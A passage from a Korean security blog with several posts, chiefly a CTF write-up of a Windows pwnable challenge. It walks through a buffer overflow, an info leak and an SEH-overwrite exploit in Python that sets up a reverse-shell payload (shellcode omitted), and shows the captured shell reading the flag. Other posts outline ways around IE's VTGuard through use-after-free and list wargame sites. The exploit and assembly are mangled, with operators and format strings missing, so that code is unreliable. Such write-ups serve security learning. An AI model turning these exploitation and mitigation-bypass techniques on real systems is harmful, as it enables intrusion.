블로그 포스팅을 너무 오랫동안 안했네요!!...


그동안 바쁘긴 했는데.. 그래도 뭐좀 쓰자 해서.. 얼마전에 출제한 문제의 write-up이 적절할 것 같아서 쓰기로 했습니다!


14년 11월 6일부터 7일! 2일간 POC 컨퍼런스가 있었습니다.


[위는 POC에서 얻은 것들.. 이번 입장권은 이쁘네요.. ㅎㅎ]


그리고 POC 이벤트 행사 중 여성해킹대회인 POWER OF XX 본선 경기가 있었습니다.


POX는 숙명여대 SISS와 HackerSchool - Wiseguys 팀이 함께 진행하는 행사였고 저는 작년과 마찬가지로 문제 출제를 담당했습니다.


아쉽게도 이번엔 바쁜일이 많아서 문제를 1개밖에 출제하지 못했었네요.. ㅠㅠ


아무튼 이번에 제가 출제했던 분야는 Pwnable이고 특이하게도 리눅스에서의 Pwnable이 아닌 윈도우에서의 Pwnable 문제입니다.


주로 리눅스보다 윈도우에서 시스템 해킹분야를 공부하다 보니 나름[?] 신선하겠다 해서 출제를 결심하게 되었습니다.


게다가 본선 진출팀중에서 윈도우 시스템 해킹을 공부했던 분이 몇분 있는걸로 알고 있고, 또 문제도 그리 어렵게 내지는 않을거라서 별 문제 없겠다 생각했습니다.


Binary :

brokenwindow


Description :

Can you Break Windows?

Key Example : flag{this_is_flag} -> this_is_flag

[Pwnable]


본격적인 풀이에 들어가기 앞서..

현재 Binary에 적용된 메모리 보호기법은 아래와 같습니다.
ASLR : ON
DEP : OFF
STACK COOKIE : ON
SAFE SEH : OFF

ASLR은 메모리 배치를 무작위로 해서 Exploit을 어렵게 하는것이고 Stack Cookie는 BOF를 체크하는 문제입니다.


4가지 보호기법 모두 컴파일러에 기본적으로 적용되어 있는 메모리 프로텍션들입니다.


하지만 난이도를 조절하기 위하여 일부 보호기법을 해제했습니다.


문제 컨셉은 제로데이 마켓입니다. (뭘 할까 하다가..)


sub_401000 proc near


var_4= dword ptr -4


push ebp

mov ebp, esp

push ecx

mov [ebp var_4], ecx

mov eax, [ebp var_4]

mov dword ptr [eax], 5 ; my_zeroday

mov ecx, [ebp var_4]

mov dword ptr [ecx 4], 2710h // 10000

mov edx, [ebp var_4]

mov dword ptr [edx 328h], offset sub_401070 // Function Pointer

mov eax, [ebp var_4]

mov esp, ebp

pop ebp

retn

우선 구조체를 설정하는 부분입니다.


위를 다시 코드로 정리해보면 아래와 같습니다


typedef struct st

{

int my_zeroday = 5;

int money = 10000;

??? // char description[500];

??? // char name[300]; - 두 값 모두 보이지는 않지만 실제론 이렇게 되어있습니다.

void* func_ptr = &sub_401070;

}st;


그리고..


sub_401070 proc near

push ebp

mov ebp, esp

push offset aThankYou_HaveA ; "[*] Thank you. Have a nice day\n"

call _puts

add esp, 4

pop ebp

retn


구조체 중 Function Pointer를 보면 단순하게 '고맙습니다, 좋은하루 되세여' 라는 뜻의 문장을 출력해주는 함수입니다.


이 다음부턴 급 귀찮아지니 우리의 친구 F5를 사용하겠습니다


signed int __cdecl sub_401090()

{

int v0; // eax@1

void (*v2)(void); // [sp 4h] [bp-370h]@0

int v3; // [sp 8h] [bp-36Ch]@5

int v4; // [sp Ch] [bp-368h]@1

int v5; // [sp 10h] [bp-364h]@6

char v6; // [sp 14h] [bp-360h]@13

char v7; // [sp 208h] [bp-16Ch]@13

void (*v8)(void); // [sp 334h] [bp-40h]@8

char WideCharStr; // [sp 338h] [bp-3Ch]@5

char v10; // [sp 33Ch] [bp-38h]@16


v0 = sub_40138A();

setvbuf((FILE *)(v0 32), 0, 4, 0);

sub_401000(&v4);

while ( dword_4154E4 < 30 )

{

dword_4154E4;

if ( dword_4154E4 > 50 )

exit(0);

sub_401030();

puts("> ");

sub_40A587(0, (LPWSTR)&WideCharStr, 2u);

v3 = sub_402175(&WideCharStr);

if ( v3 == 1 )

{

if ( v5 >= 5000 )

{

v5 -= 5000;

puts("[*] You bought a new 0day! and paid 5000won.");

v2 = v8;

v8();

}

else

{

puts("[-] You don't have any money. Go back..");

}

}

else if ( v3 == 2 )

{

if ( v4 >= 1 )

{

puts("[ ] Input Vulnerability Title : ");

sub_40A587(0, &::WideCharStr, 0x12Cu);

memmove(&v7, &::WideCharStr, 0x12Cu); // Information Leak

puts("[ ] Input Details about your 0-day: ");

sub_40A587(0, &word_4151C0, 0x1F4u);

memmove(&v6, &word_4151C0, 0x1F4u);

sub_40147B("[*] Title : %s\n[*] DESC : %s\n", (unsigned int)&v7);

puts("[*] Thank you! you got 3000Won");

((void (__cdecl *)(void (*)(void), void (*)(void)))v8)(v8, v2);

v5 = 3000;

--v4;

}

else

{

puts("[-] Hmm, I don't have any zeroday..");

}

}

else

{

if ( v3 == 3 )

{

puts("[ ] HELLO? : ");

sub_40167F("%s", (unsigned int)&v10); // scanf BOF!!

puts("[*] YOU GOT PWNED :)");

return 1;

}

if ( !v3 )

{

puts("[-] bye");

return 1;

}

puts("[?] WTF");

}

}

return 1;

}


우선 코드를 간단하게 정리해보면

처음 메뉴 1,2,3 을 출력하고 각 선택할때 분기문으로 흘러갑니다.

1번 분기는 제로데이를 구입하는것이고

2번 분기는 제로데이를 판매하는데 title과 description을 적습니다. 그리고 임시로 전역변수에 담고 이후 구조체변수에 담습니다.

3번 분기는 제로데이를 마음껏 사용하는 메뉴입니다.


하나하나 살펴보면..


3번 분기에서 scanf와 %s로 인하여 Buffer Overflow 취약점이 발생하고 Return Address를 덮어쓸 수 있습니다.


하지만! 아까 처음 보호기법에 의하면 ASLR과 Stack Cookie가 적용되어 있기 때문에, 리턴어드레스를 덮어씌우는 것 만으로는 부족합니다.


하지만! DEP가 설정되어있지 않기 때문에 쉘코드 실행은 간단하죠!


하지만! 쉘코드를 어디에 둬야 하는지 약간 의문이 들기도 합니다. 이것에 대한 답은 2번 분기에서 Vuln Title과 Description을 적는곳이 있었는데


이부분에 잠시 전역변수에 값을 담고 구조체로 옮기기 때문에 전역변수에 쉘코드를 담는다면 다른 메뉴로 가도 여전히 쉘코드가 남아있을 것입니다.


이때 전역변수의 값은 Base address offset 이고, offset은 일정하기 때문에 Base Address만 구해주면 문제를 간단하게 해결할 수 있습니다.


또한 이때 Base Address는 2번 메뉴의 memmove 함수로 인하여 구조체의 Function Pointer의 값을 유출할 수 있습니다. (Info Leak)


마지막으로 Stack Cookie 보호기법이 있기때문에 Return Address의 값을 손상시켜도 EIP가 제대로 컨트롤 되지 않을 것입니다.


이는 SEH Overwrite를 이용하여 우회할 수 있습니다. 간단하게 설명하면 SE Handler 값을 변조시키고 의도적으로 Exception을 발생하면 EIP 변경이 가능합니다.


자세한건 검색!



써놓고보니 복잡하지만 다시 정리하면


1. BOF 취약점

2. 전역변수에 쉘코드를 담고

3. Info Leak으로 Function Pointer의 값을 유출 시켜 Base Address를 구한뒤

4. SEH Overwrite로 전역변수 위치(Base Address offset)로 EIP 변조


위 과정을 거치면 쉘을 딸 수 있습니다.


#exploit.py

from socket import *

import threading

import time

import struct


up = lambda x : struct.unpack("

p = lambda x : struct.pack("



def payload():

# metasploit

# use payload/window/shell_reverse_tcp

# bad char : 0x00 0xff 0x0a 0x0d 0x1a

shellcode =( 삭제 )

result = ""

result = "\x90"*50

result = shellcode

return result


def bad():

result = ""

for i in range(1, 26):

result = chr(i)

return result


ip = "192.168.0.93"

port = 1337

s = socket(AF_INET, SOCK_STREAM)

s.connect((ip, port))


time.sleep(0.1)

print s.recv(2048)

s.send("2")

print s.recv(4096)

s.send("A"*300)

time.sleep(0.1)

print s.recv(4096)

p = payload() "A"*(500-len(payload()))

s.send(p)

time.sleep(0.1)

temp = s.recv(40960)

ptr = temp.split("A"*300)[1].split("[*]")[0].replace("\x0d\x0a","")[0:4] # RAW memor (leaked)

print temp


if len(ptr) == 3:

ptr = "\x00"


print ptr.encode("hex")

print "base address : " hex(up(ptr)&0xffff0000)

print "shellcode address : "

shellptr = ((up(ptr)&0xffff0000) 0x151c0 0x20)



s.send("3")

time.sleep(0.1)

print s.recv(4096)

exploit = "A"*116

exploit = struct.pack("

exploit = "D"*10000

s.send(exploit)


s.close()



확률은 거의 90% (aslr 때문에..)로 작동합니다.



C:\Users\sweetchip\Desktop>exploit.py

[-]*********************************************************************

[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)

[ ] 1.BUY ZERODAY

[ ] 2.SALE ZERODAY

[ ] 3.USE ZERODAY

[ ] 0.EXIT

[-]*********************************************************************

>


[ ] Input Vulnerability Title :


[ ] Input Details about your 0-day:


[*] Title : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?


[*] DESC : 릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱릱柏?$??B?O1r꺜

r캠??塢까??J次.gx蝕?,理?

홃뱩?

DR?눛씵xsN??;㎯!|0?궃ㅨ괺\Td?0?k6?섏}?=}穗???笠잶

렁[?\쎒V盖梓?벣앵E냰?꺢??

j픽]$괼7냟y?樺?}%a곽p?lu?z2 <1???&W힅?2샹-~zT\程Z?:AAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAp2롤?

[*] Thank you! you got 3000Won

[*] Thank you. Have a nice day


[-]*********************************************************************

[*] WELCOME TO ZERODAY MARKET. SELECT MENU :)

[ ] 1.BUY ZERODAY

[ ] 2.SALE ZERODAY

[ ] 3.USE ZERODAY

[ ] 0.EXIT

[-]*********************************************************************

>


70101e01

base address : 0x11e0000L

shellcode address :

[ ] HELLO? :



C:\Users\sweetchip>nc -lvp 31337

listening on [any] 31337 ...

connect to [192.168.0.93] from [Blind] [192.168.0.93] 62851

Microsoft Windows [Version 6.1.7601]

Copyright (c) 2009 Microsoft Corporation. All rights reserved.


K:\prob_server>dir

dir

K 드라이브의 볼륨: [Blind]

볼륨 일련 번호: A497-E7DC


K:\prob_server 디렉터리


2014-11-09 오후 09:02

.

2014-11-09 오후 09:02

..

2014-11-06 오전 09:50 84,992 brokenwindow.exe

2014-11-06 오전 10:22 45 key.txt

2014-11-06 오전 09:50 75,264 loader.exe

2014-11-03 오전 11:09 32 run.bat

4개 파일 160,333 바이트

2개 디렉터리 5,296,316,416 바이트 남음


K:\prob_server>type key.txt

type key.txt

flag{Only_True_Love_Can_Break_Frozen_Windows}

K:\prob_server>


Key : Only_True_Love_Can_Break_Frozen_Windows


키는 POC 2014에서 passket & SNE, "Only True Love Can Thaw frozen SCADA Systems" 의 발표제목을 참고했습니다. ㅋㅋ


음...


끝!! ㅋㅋ




오랜만의 포스팅!


지난번 데프콘에 갈 기회가 생겨서 다녀오게 되었는데 귀국후 바로 인코그니토 CTF와 친척들과의 휴가, 그리고 인코그니토 발표까지


대략 2주동안 힘들게 지낸끝에 모든일이 끝났다 ㅎㅎ..



2월 말까지 BOB 프로젝트로 웹브라우저 취약점 헌팅과 7월 말까지 WhiteHash를 진행하게 되면서 다시 한번 웹브라우저 취약점 헌팅에 도전하면서


IE를 분석하게될 일이 있었는데 VTGuard에 대해서 몇글자 써보려고 한다.




IE 10부터 VTGuard가 적용되었는데 이는 IE만의 Memory Protection중 하나이다.


VTGuard의 원래 이름은 Vtable Guard인데 원래 Vtable에 있어야 하는 일정한 쿠키값과 현재 Vtable의 쿠키값을 비교해서 무결성을 체크하는 기법이다.


그 원리에 대해서 간단하게 알아보자




우선 mshtml.dll의 내부를 뜯어보면 __vtguard 라는 함수가 자리를 차지하고 있는데 함수의 내용을 살펴보면


mov edi, edi

int 3

retn


이 끝이다. 처음 봤을때는 이게 진짜 끝인가 하고 이름을 좀더 추측해서 여러가지를 찾아봤지만 이 vtguard 함수가 끝이다.




그러다가 xref를 살펴보니 엄청나게 많은 양의 참조가 있는것을 보았는데 대부분 사용되는 것은 구조체안의 또다른 구조체 어느 값(vtable값중 일부)과 vtguard의 주소를 비교하는 것을 볼 수 있다.




이처럼 처음 mov ecx, [esi] 로 vtable의 pointer를 얻어오고 cmp dword ptr [ecx 328h]로 vtable cookie를 확인하는 것을 볼 수 있다.


간단하게 다시 글로 나타내면


|ptr to vtable| ???? | ???? | ???? | ???? | ???? | <- Heap Object

|????|????|????|????|????|cookie| <- Vtable


대략 이런 형태로 볼 수 있는데, 이때 cookie 값에는 mshtml이 로드된 뒤, (base address offset __vtguard) 의 값이 저장되어 있을 것이다.





그렇다면 어떤 효과가 있을까?


Heap Overflow에서는 효과가 적을 수도 있겟지만, Use After Free 취약점에 대해서는 어느정도 방어가 가능하다.


만약 위 그림의 .text:636dc10f의 ESI 레지스터가 Free된 Object의 포인터이고 공격자가 Object의 내용을 조종한 상태라고 가정한다.


또한 정상적인 Heap object와 vtable에는 각각 정상적인 ptr to vtable값과 cookie값이 들어가 있을 것이다.


------------------------------------------------------------------------------------------

정상적인 Heap Object

|Ptr to vtable (0x100a324b)| ???? | ???? | ???? | ???? | ???? | <- Heap Object

|????|????|????|????|????|cookie (0x63d2dfb4)| <- Vtable

------------------------------------------------------------------------------------------

UAF 취약점으로 인하여 변조된 Heap Object

|Ptr to vtable (0x12121212)| 0x12121212 | 0x12121212 | 0x12121212 | 0x12121212 | 0x12121212| <- Fake Heap Object

|0x0c0c0c0c|0x0c0c0c0c|0x0c0c0c0c| ... |0x0c0c0c0c|cookie(0x0c0c0c0c)| <- Fake Vtable

------------------------------------------------------------------------------------------


Object를 0x12121212 로 채워넣고 0x12121212 주소에는 0x0c0c0c0c가 채워져있다.


이 상태로 Vtguard 루틴으로 들어갈 경우 cmp dword ptr [ecx 328], offset __vtguard 부분에서 걸러지고




이후 프로세스가 혼자 죽어버린다.




엄청난 우회법은 현재 나와있지 않은 상태이다.


하지만 Vtguard는 __vtguard 함수의 주소를 Cookie로 사용하고 있기때문에 Information disclosure 버그로 mshtml의 Base Address 주소와


현재 mshtml 버전의 __vtguard 함수의 Offset만 더해서 구해주고 Fake Vtable에 삽입하면 된다.


하지만 말처럼 Information disclosure 버그를 찾는게 쉬운게 아니라서 조금더 간단한 방법을 찾아봐야 한다.



일단 Vtguard는 모든 Vtable에 대하여 적용된 것이 아니다.


또한 vtguard 체크 부분은 함수 실행 직전에 존재하며 함수 실행 여부는 이전의 분기문에서 결정된다.


또한 Heap object에는 생각보다 많은 정보를 담고 있다. 예를들어 다른 object의 주소같은것도 포함되어있다.



그러므로 UAF가 발생하고 Fake Object를 제작한 다음


vtable 함수 호출 분기문 이전에 여러 분기문으로 옮겨 다닐 수 있다면 Vtguard에 영향받지 않을 수도 있다는 것이다.


왜냐하면 조금전에 Vtguard는 모든 Vtable에 대해서 적용되지 않았기 때문에 아래와 같은 일이 일어날 수 있다.


|ptr to vtable| Heap object | ???? | ???? | ???? | ???? | <- Heap Object

|????|????|????|????|????|cookie| <- Vtable


Object가 만약 이렇게 구성되어 있고 운이 좋다면 Heap object 를 사용하는 분기문으로 이동 할 수도 있다.


|ptr to vtable| ???? | ???? | ???? | ???? | ???? | <- Heap object

|????|????|????|????|????|????| <- Vtable


그리고 이처럼 그 Object는 Vtguard가 적용되지 않은 Vtable의 주소를 가지고 있으면 게임 끝이다. (vtguard는 일부에만 적용된 것이므로 은근 이런 case가 간혹 있다. 끝까지 잘 찾아보자.)


이로써 (운이 좋으면) Vtguard에 영향을 받지 않고도 EIP Control이 가능하다.



Conclusion.


운이 좋으면 Vtguard에 영향받지 않고 EIP를 바꿔버릴 수 있다. 포기하지 말고 끝까지 살펴보자.



Reference


http://neilscomputerblog.blogspot.kr/2014/04/vtguard.html




만약 틀린 정보가 있으면 댓글 달아주시면 감사하겠습니다. (졸면서 글을 쓰고 있네요.. 틀린점이 있을지도.. ㅋㅋ )


바로 수정하겠습니다!


ps. 같이 연구하면서 도움을 주신 몽형 감사합니다.






발표자료는 아래에서 받을 수 있습니다.


생각보다 하고 싶은 말을 많이 못한것 같네요..


항상 발표할때 습관인 초반에 긴장때문에 말도 더듬더듬 하기도 했는데 도움이 되셨으면 합니다.


의문점이 있는것은 덧글로 달아주시면 감사하겠습니다


http://cloud.sweetchip.kr/speak/Inc0gnito_fuzzing_for_fun_sweetchip.pdf


http://www.slideshare.net/sweetchip/inc0gnito-fuzzing-forfunsweetchip


감사합니다.







[잡담글 ㅋㅋ]


Whitehash 1기를 진행하면서 찾은 브라우저 제로데이 취약점..


취약점의 종류는 Memory Corruption 종류 중 하나였고, 코드의 흐름이 완벽하게 통제할 수 있는 취약점이다.


덕분에 Arbitrary Code Execution이 가능해서 해커들의 친한 친구인 계산기도 만날 수 있었다.


물론 처음에 어떤 보호기법에 막히기도 했지만 조금(이라 쓰고 1달이라 읽는다) 생각하고 나니 쉽게 영향을 받지 않고 코드 흐름을 바꿀 수 있었다.


이 보호기법에 대해선 나중에 시간이 날때 포스팅 하도록 하겠다 (막상 해보고는 실망할 정도로 간단 했다.)


그리고 드디어..



내 생애 첫 CVE와 MS 넘버링을 가지게 되었다. ㅋㅋ


2013년이 끝나면서 새로 지은 2014년 목표가 CVE 넘버를 1개이상 가져보는것이었는데 어쩌다 보니 목표를 달성하게 되었다.


물론 같은 취약점을 발견한 사람은 전세계에서 나 말고 3명이 더 있긴 하지만, 찾고 공격에 성공한게 어디인가하고 일단은 만족 하기로 했다.


하지만 내 닉넴 위 아래로 보면 도데체 뭐 하는 사람들인지 알 수가 없는 사람들이 수십개는 기본으로 제보한 사람도 있다 -_-


그런 사람들한테는 새발의 피지만 올해 처음으로 재밌는 취약점을 찾게 되어서 기뻣으니 만족.




이제는 IE에 Isolated Heap과 Protected Heap 이라는 기술이 적용되어서 Internet explorer를 공격하기가 더욱 어려워졌다. (생각보다 많이..)


크롬이나 사파리 같은 브라우저에선 예전부터 적용된 것이긴 하지만 (Isolated Heap) IE는 지금까지 그런 기술이 없어서 다른 브라우저에 비하여 공격이 쉬웠다.


머지 않아 새로운 우회기법이 나오긴 하겠지만 그래도 이젠 쉽지는 않으리라 본다. (덕분에 이전까지 연구중이던 다수의 취약점도 날렸다.)


그리고 Isolated Heap과 Protected Heap도 역시 조만간 포스팅을 해보려고 한다.


보호기법이 등장하긴 했지만 아직 취약점은 존재한다.




뻘 포스팅 끝 ㅋㅋ (새벽에 쓰고보니 참 두서 없다.)


2013년 ~ 2014년 BOB 2기 과정을 마치게 되고 2주간 Canada의 Vancouver에서 열리는 CanSecWest 2014에 참가할 수 있는 기회를 얻게 되었다.


예전부터 구경하고 싶었던 pwn2own이 열리는 컨퍼런스이기도 해서 대회 장면을 구경할수 있고 우리나라 팀도 볼수 있다는 매우 큰 기대감을 가지고 비행기에 몸을 실었다.


비행기는 10시간 뒤인 샌프란 시스코에 착륙하고 4시간 대기시간을 거친 다음 2시간 만에 최종 목적지인 벤쿠버에 도착하게 되었다. (캐나다로 가는 비행기 안에선 타자마자 진짜 정신없이 잤다.)


총 16시간 정도를 좁은 비행기에서 있게 되니 매우 힘들어서 첫날엔 잠시 저녁식사를 하고 시내를 둘러보고 바로 잠들었다.


캔섹이 열리는 둘째날부터 아침에 일찍 일어나 참가했다.



밴쿠버의 배 선착장[?] 쪽으로 가다가 본 대형 구조물. 아름다워서 찰칵.



컨퍼런스 점심시간 및 여유 시간에는 벤쿠버 시내를 돌아다니면서 사진을 찍었다.



거리도 깨끗한 편이었고 왠지 사람들이 전부 여유로워 보였다.


물건을 파는 가게에 들어가도 매우 친절하게 대해줬고 음식점에서도 친절하게 대해줬다.




----








세션이 진행되는 동안은 최대한 셔터소리가 안나게 사진을 찍어봤다.









위는 CnaSecWest 2014의 행사중 하나인 클럽의 사진인데 같이 참가했던 다른분의 사진을 빌렸다. [미성년자는 출입 금지라고 해서 나와 또다른 어린 친구들은 호텔에서 있었다...]



따로 발표 내용에 대한 것은 꽤나 오래전이었기 때문에 언급은 하지 않겠으나 대부분 발표 주제는 상당히 흥미로웠다.


나느 주로 Exploitation Technique 분야의 발표를 듣게 되었고 프로젝트 관련 주제였던 내용이 나와 반갑기도 했던 주제도 있었다. (특히 jscript에서의 힙 풍수라던지 ROP같은 공격 기법들에 대한 내용을 감명깊게 들었다.)


하지만 영어를 잘하는 편이 아니라 발표자의 농담[?]이나 발표 내용을 전부 이해하기가 쉬운건 아니었다. (대신 슬라이드를 보면서 이해하거나 발표가 끝난뒤 같이온 분께 물어보기도 했다.)


3일동안 진행되었던 컨퍼런스는 나에게 엄청난 도움이 되었고 프로젝트때 궁금했던 부분과 생각치 못했던 방법을 생각할 수 있던 기회이기도 했다.


추가로 캔섹이 열린 호텔에 들어가면 MS, 구글 등의 부스가 있는데 이곳에서 나눠주는 기념품(구글 같은 경우엔 퍼즐)을 받는 소소한 재미[?]도 있었다.



발표 내용들


https://cansecwest.com/slides.html


위 링크에서 발표 자료들을 다운로드 받을 수 있다.




Fighting Next-Generation Adversaries with Shared Threat Intelligence

Jacob West ; CTO - Enterprise Security Products, HP


USB Flash Storage Threats and Threat Mitigation in an Air-Gapped Network Environment

George Pajari ; HCIS


No Apology Required: Deconstructing Blackberry 10

Zach Lanier, Ben Nell ; Duo Security & Accuvant


Revisiting iOS Kernel (In)Security

Tarjei Mandt ; Azimuth Security


The Real Deal of Android Device Security: the Third Party

Collin Mulliner, Jon Oberheide ; Northeastern University, Duo Security


Exploring RADIUS

Brad Antoniewicz ; Foundstone/McAfee/Intel


Copernicus 2, SENTER the Dragon

Xeno Kovah, John Butterworth ; MITRE


All Your Boot Are Belong To Us

Corey Kallenberg, Yuriy Bulygin ; Intel, MITRE


Platform Firmware Security Assessment with CHIPSEC

John Loucaides, Yuriy Bulygin ; Intel


Keynote Presentation: Hon. Diane Finley

Federal Minister of Public Works and Government Services


Less is more, Exploring code/process-less techniques and other weird-machine methods to hide code (and how to detect them)

Shane Macaulay ; IOActive / Security Objectives


ROPs are for the 99%: A revolutionary bypass technology

Yang Yu a.k.a. "tombkeeper"; NSFOCUS Labs


Concurrency: a problem and opportunity in the exploitation of memory corruptions

Ralf-Philipp Weinmann; Comsecuris


Utilizing machine learning and DNS traffic to discover malware infections and C&C traffic

Brandon Niemczyk, Josiah Hagen, Jonathan Andersson


Exploit Detection

Haifei Li & Chong Xu ; McAfee a.k.a. Intel Security


Combating the Advanced Memory Exploitation Techniques: Detecting ROP with Memory Information Leak

Stanley Zhu and Chong Xu ; McAfee/Intel Security


Intelligent Use of Intelligence: Design to Discover

Ping Yan and Thibault Reuille ; OpenDNS


The Art of Leaks: The Return of Heap Feng Shui

Tao Yan a.k.a. "ga1ois" ; NSFOCUS Labs


Outsmarting Bluetooth Smart

Mike Ryan ; iSEC Partners


아쉬웠던 점은..


영어 공부를 해야 겠다는 것.. ㅎ 듣고 바로 이해가 되면 좋겠지만 번역 이라는 과정을 거치기 때문에 한 세션을 들으면 매우 피곤해진다...


또한 pwn2own이 진행되는 방은 들어가면 안된다는 식의 문구가 써잇어서 그냥 한번 문 밖에서 방 안쪽의 상황만 살펴봤었다. [살펴봐도 보이지 않았다.. -_-]


하지만 트위터로 중계되는 덕에 대충 상황이 어떤지는 알 수 있었다.




신기하게도 캔섹에서 우리 그룹 말고 또 다른 한국인을 본것도 신기했는데 기억상으로는 삼성에 다니시는 분이었고 컨퍼런스를 들으러 오셨다고 한다.


우리나라랑 시차가 16시간 정도 [우리나라 시간으로 새벽 3시면 벤쿠버는 오전 11시] 되서 적응하는데 약간 힘들었던것 빼고는 즐거웠던 시간이었다.


아무튼 4일간의 좋은 시간을 보내고 바로 샌프란시스코로 출발했다.




끝. :D








왠지 모르게 대학교가 방학을 해도 계속 바쁘게 지내는데 (그래도 bob 할때만은 아닙니다 ㅋㅋㅎ) 그러다 보니 블로그는 그냥 방치하게 되었네요


그래도 뭔가 써야 할것 같아서 생각해보다가 워게임에 대해서 생각나서 워게임에 대해 써보려고 합니다 ㅎㅎ


이번 글의 대상은 처음 공부하는 분들을 위주입니다.


/////






해킹보안을 공부하는 사람이라면 누구나 워게임이라는 것을 들었을 것이다.


아닌 분들을 위해 간단하게 적어보면 그냥 문제를 풀어보는 것이라고 생각하면 된다.


하지만 문제를 푼다고 하면 뭔가 재미가 없을것 같다고 생각할 수 있는데, 자세히 말하면 출제자가 프로그램또는 서비스되고 있는 환경을 출제한다.


물론 그 서비스에는 취약한 부분이 있는데 풀이자는 이런 취약점을 찾아서 공격해서 서버의 권한을 획득하거나


Flag라는 정답 파일을 읽어서 인증서버에 인증을 하며 문제를 푸는 직접 취약점을 찾아 공격하는 문제가 있고


프로그램의 알고리즘을 파악하여 역공학을 한다는지 (예를들어 키젠을 만드는것) 또는 Binary에 숨겨진 암호를 찾아서 정답을 맞추는 문제들도 있다.



이런 워게임을 풀다보면 그냥 글로 읽어서 터득하는 것 보다 재미있게 해킹공부를 할 수 있다.


또 다른사람하고 점수를 경쟁하거나 문제 형태로 출제되기 때문에 꼭 풀고 말거라는 마음을 가지게 되서 계속 연구하다 보면 알게 되는것이 많아


결국엔 자신의 실력이 향상되게 된다.


현재 국내에는 계속해서 워게임 사이트가 생기고 있고 최근에는 리눅스 시스템 해킹 문제를 출제하는 워게임 사이트도 생겼다.


이제 해킹 공부를 좀더 재밌게 해볼 수 있는 사이트 및 서비스를 소개해볼까 한다.


아래에 나와있는 것은 우리나라의 모든 워게임은 아니다. 찾아보면 더 있을 것이다.





WEB 분야

http://webhacking.kr/ - Webhacking.kr 은 국내에서 가장 유명한 웹 분야의 워게임 사이트이다. 문제들도 많고 계속 추가될 예정 이라고 한다.


Reverse Engineering 분야

http://reversing.kr/ - 리버스 엔지니어링 문제를 주로 다루고 있는 워게임 사이트이다. 좋은 문제들이 많다.


System 분야

HackerSchool FTZ

- http://search.naver.com/search.naver?where=nexearch&query=hackerschool ftz&sm=top_hty&fbm=2&ie=utf8

- 해커스쿨에서 제공하는 리눅스 기본문법에서 기본적인 해킹 공격을 접해볼 수 있다.


HackerSchool LOB

- http://www.hackerschool.org/Sub_Html/HS_Community/index.html

- 이 역시 해커스쿨에서 제공하는 리눅스의 해킹 공격을 접해볼 수 있다. FTZ 보다 난이도가 높고 다양한 보호기법이 새로이 적용된 문제도 많다.


http://pwnable.kr/ - 시스템 해킹 분야를 주로 다룬 워게임 사이트이다. 요즘 해킹대회에서 출제되는 형태의 문제이고 좋은 문제들이 많은 편이다.

http://exploit-exercises.com - [국외] VM 이미지로 문제를 제공한다. 소스코드도 함께 제공하며 문제 난이도도 다양함.



ETC - 다 분야

http://hack-me.org/ - 다양한 분야의 문제를 모아둔 사이트이다.

http://xcz.kr/ - 다양한 분야의 문제를 모아둔 사이트이다.

http://ctfagain.kr/ - 기존에 출제된 CTF 문제를 다시 풀어볼수 있도록 제공하는 사이트이다. 다양한 분야의 문제들이 있고 실제 해킹대회에 출제된 문제를 풀어볼 수 있다.

http://wargame.kr - 다양한 분야의 문제를 모아둔 사이트이다.

https://microcorruption.com - [국외]




현재 대충 이정도로 정리했지만 실제로는 여기에 나와있는 것보다는 더 많다.


시간이 생길때마다 계속 추가힐 예정이다.

















this video is Internet Explorer 11 0-day vulnerability exploit poc demo


I found new IE11 0-day vulnerability and i researched it for a few days.


Finally, I controlled the flow successfully.


Special Thanks to mongli, passket and beist (Mentor of BOB program)



이 영상은 Internet Explorer 11의 제로데이 취약점 공격 데모 영상입니다.


새로운 IE11의 제로데이 취약점을 발견하고 며칠동안 연구한 결과 흐름을 성공적으로 조종할 수 있었습니다.


취약점 분석관련으로 많은 지식을 나눠 주신 mongli, passket, beist 분들께 감사드립니다.






안녕하세요.


2013년 5월 12일 부터 6월 11일까지 BOB 3기 모집이 시작되었습니다.


BOB는 미래의 화이트 해커를 양성하기 위해서 만들어진 프로그램입니다.


교육생으로 선발되면 약 6~8개월간 기본 소양 교육과 심화교육 그리고 최소 2명 이상의 팀을 구성하여 프로젝트를 진행하게 됩니다.


///


2기 교육때는 멘토님들이 오셔서 기본 소양부터 프로그래밍, 리버싱등 여러 분야의 강의를 해주시고 가끔씩 해외 멘토도 오셔서 최대 일주일 정도 특강을 진행해 주셨습니다.


공부하는 분야는 화이트 해커가 가장 필요로 하는 윤리부터 시작해서 프로그래밍, 리버싱, 시스템, 네트워크, 컨설팅 등으로 대략 2달간 진행하게 되며


이후 프로젝트 기간에는 본인이 원하는 주제를 정해서 프로젝트 팀원을 구하고 분야별 멘토님과 함께 프로젝트를 진행할수 있습니다. (예를들어 취약점 자동 분석 툴 만들기)


///


자세한 것은 3기 지원을 모집하는 홈페이지를 참조하시고 지원하는 분들께 좋은결과가 있었으면 좋겠습니다.


모집 : 2014년 5월 12일 ~ 2014년 6월 11일


인원 : 대략 130명


사이트 : http://www.kitribob.kr


///


추가로 아래 글도 한번 읽어보세요.


